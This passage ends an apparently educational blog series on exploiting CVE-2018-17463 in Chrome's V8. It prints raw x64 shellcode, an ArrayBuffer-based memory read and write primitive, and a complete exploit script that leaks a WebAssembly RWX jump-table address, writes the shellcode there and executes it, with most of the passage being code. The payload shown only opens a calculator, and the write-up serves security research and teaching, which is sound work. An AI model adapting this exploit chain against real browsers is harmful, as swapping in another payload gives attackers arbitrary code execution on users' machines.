Since our original WebAssembly code is using a Uint8Array, we’ll have to make sure that we wrap our shellcode in the same typed array representation. An example of how our pop calc shellcode will look like in our script can be seen below.

// Prepare Calc Shellcode
let shellcode = new Uint8Array([0x48,0x31,0xff,0x48,0xf7,0xe7,0x65,0x48,0x8b,0x58,0x60,0x48,0x8b,0x5b,0x18,0x48,0x8b,0x5b,0x20,0x48,0x8b,0x1b,0x48,0x8b,0x1b,0x48,0x8b,0x5b,0x20,0x49,0x89,0xd8,0x8b,0x5b,0x3c,0x4c,0x01,0xc3,0x48,0x31,0xc9,0x66,0x81,0xc1,0xff,0x88,0x48,0xc1,0xe9,0x08,0x8b,0x14,0x0b,0x4c,0x01,0xc2,0x4d,0x31,0xd2,0x44,0x8b,0x52,0x1c,0x4d,0x01,0xc2,0x4d,0x31,0xdb,0x44,0x8b,0x5a,0x20,0x4d,0x01,0xc3,0x4d,0x31,0xe4,0x44,0x8b,0x62,0x24,0x4d,0x01,0xc4,0xeb,0x32,0x5b,0x59,0x48,0x31,0xc0,0x48,0x89,0xe2,0x51,0x48,0x8b,0x0c,0x24,0x48,0x31,0xff,0x41,0x8b,0x3c,0x83,0x4c,0x01,0xc7,0x48,0x89,0xd6,0xf3,0xa6,0x74,0x05,0x48,0xff,0xc0,0xeb,0xe6,0x59,0x66,0x41,0x8b,0x04,0x44,0x41,0x8b,0x04,0x82,0x4c,0x01,0xc0,0x53,0xc3,0x48,0x31,0xc9,0x80,0xc1,0x07,0x48,0xb8,0x0f,0xa8,0x96,0x91,0xba,0x87,0x9a,0x9c,0x48,0xf7,0xd0,0x48,0xc1,0xe8,0x08,0x50,0x51,0xe8,0xb0,0xff,0xff,0xff,0x49,0x89,0xc6,0x48,0x31,0xc9,0x48,0xf7,0xe1,0x50,0x48,0xb8,0x9c,0x9e,0x93,0x9c,0xd1,0x9a,0x87,0x9a,0x48,0xf7,0xd0,0x50,0x48,0x89,0xe1,0x48,0xff,0xc2,0x48,0x83,0xec,0x20,0x41,0xff,0xd6]);

After preparing our shellcode, we now need to add a new memory write primitive via our array buffers, since our current write64 function only writes data using the BigUint64Array representation.

For this write primitive, we can reuse the code for write64, but with two minor changes. First of all, we need to make view2 a Uint8Array instead of a BigUint64Array. Second of all, to write our full shellcode via our view, we will call the set function. This allows us to store multiple values in the array buffer instead of just using an index as before.

The new write memory primitive will look like so:

let memory = {
  write(addr, bytes) {
    view1[4] = addr;
    let view2 = new Uint8Array(arrBuf2);
    view2.set(bytes);
  }
};

With that completed, all that’s left to do is to update the exploit script to include the new write primitive, add our shellcode, write it to the leaked jump table address, and finally call our WebAssembly function to execute our shellcode!

The final updated exploit script will look like so.

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Create Array Buffers
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Leak Address of arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address @ 0x${arrBuf2Addr.toString(16)}`);

// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Store Original Backing Store Pointer of arrBuf2
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]

// Construct Memory Primitives via Array Buffers
let memory = {
  write(addr, bytes) {
    view1[4] = addr;
    let view2 = new Uint8Array(arrBuf2);
    view2.set(bytes);
  },
  read64(addr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    return view2[0];
  },
  write64(addr, ptr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    view2[0] = ptr;
  },
  addrOf(obj) {
    arrBuf2.leakMe = obj;
    let props = this.read64(arrBuf2Addr + 8n) - 1n;
    return this.read64(props + 16n) - 1n;
  }
};

print("[+] Constructed Memory Read and Write Primitive!");

print("[+] Generating a WebAssembly Instance...");

// Generate RWX region for Shellcode via WASM
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

// Leak WebAssembly Instance Address and Jump Table Start Pointer
print("[+] Leaking WebAssembly Instance Address...");
let wasmInstanceAddr = memory.addrOf(wasmInstance);
print(`[+] WebAssembly Instance Address @ 0x${wasmInstanceAddr.toString(16)}`);
let wasmRWXAddr = memory.read64(wasmInstanceAddr + 0xF0n);
print(`[+] WebAssembly RWX Jump Table Address @ 0x${wasmRWXAddr.toString(16)}`);

print("[+] Preparing Shellcode...");
// Prepare Calc Shellcode
let shellcode = new Uint8Array([0x48,0x31,0xff,0x48,0xf7,0xe7,0x65,0x48,0x8b,0x58,0x60,0x48,0x8b,0x5b,0x18,0x48,0x8b,0x5b,0x20,0x48,0x8b,0x1b,0x48,0x8b,0x1b,0x48,0x8b,0x5b,0x20,0x49,0x89,0xd8,0x8b,0x5b,0x3c,0x4c,0x01,0xc3,0x48,0x31,0xc9,0x66,0x81,0xc1,0xff,0x88,0x48,0xc1,0xe9,0x08,0x8b,0x14,0x0b,0x4c,0x01,0xc2,0x4d,0x31,0xd2,0x44,0x8b,0x52,0x1c,0x4d,0x01,0xc2,0x4d,0x31,0xdb,0x44,0x8b,0x5a,0x20,0x4d,0x01,0xc3,0x4d,0x31,0xe4,0x44,0x8b,0x62,0x24,0x4d,0x01,0xc4,0xeb,0x32,0x5b,0x59,0x48,0x31,0xc0,0x48,0x89,0xe2,0x51,0x48,0x8b,0x0c,0x24,0x48,0x31,0xff,0x41,0x8b,0x3c,0x83,0x4c,0x01,0xc7,0x48,0x89,0xd6,0xf3,0xa6,0x74,0x05,0x48,0xff,0xc0,0xeb,0xe6,0x59,0x66,0x41,0x8b,0x04,0x44,0x41,0x8b,0x04,0x82,0x4c,0x01,0xc0,0x53,0xc3,0x48,0x31,0xc9,0x80,0xc1,0x07,0x48,0xb8,0x0f,0xa8,0x96,0x91,0xba,0x87,0x9a,0x9c,0x48,0xf7,0xd0,0x48,0xc1,0xe8,0x08,0x50,0x51,0xe8,0xb0,0xff,0xff,0xff,0x49,0x89,0xc6,0x48,0x31,0xc9,0x48,0xf7,0xe1,0x50,0x48,0xb8,0x9c,0x9e,0x93,0x9c,0xd1,0x9a,0x87,0x9a,0x48,0xf7,0xd0,0x50,0x48,0x89,0xe1,0x48,0xff,0xc2,0x48,0x83,0xec,0x20,0x41,0xff,0xd6]);

print("[+] Writing Shellcode to Jump Table Address...");
// Write Shellcode to Jump Table Start Address
memory.write(wasmRWXAddr, shellcode);

// Execute our Shellcode
print("[+] Popping Calc...");
func();

It’s time to execute our exploit! If everything goes as planed, once the WebAssembly function get’s called, it should execute our shellcode, and the calculator should pop up!

Alright, the moment of truth. Let’s see this bad boy in action!

And there we have it! Our exploit script works and we’re able to successfully execute our shellcode!

Closing

Well there we have it! After spending three months learning about Chrome and V8 internals, we were able to successfully analyze and exploit CVE-2018-17463! This was no small feat, as Chrome exploitation is a complex and challenging task.

Throughout the series, we have built a strong foundation of knowledge that has prepared us to tackle the more complex task of Chrome exploitation. At the end, we were able to successfully analyze and exploit a real-world vulnerability in Chrome, demonstrating the practical application of the concepts we have learned.

Overall, this series has written to provide a detailed and in-depth look at the world of Chrome exploitation, and I hope it has been both informative and useful for you, the reader. Whether you are a seasoned security researcher or just starting out, I hope you have gained valuable insights and knowledge from this series.

I want to sincerely thank you for for sticking around to the end and for your interest in this topic!

With that being said, for those interested, the final exploit code for this project has been added to the CVE-2018-17463 repository on my Github.

Thank you for reading, cheers!

Kudos

I would like to sincerely thank V3ded for taking the time to do a thorough proofread of this post for accuracy and readability! Thank you!

References

Updated:

Leave a Comment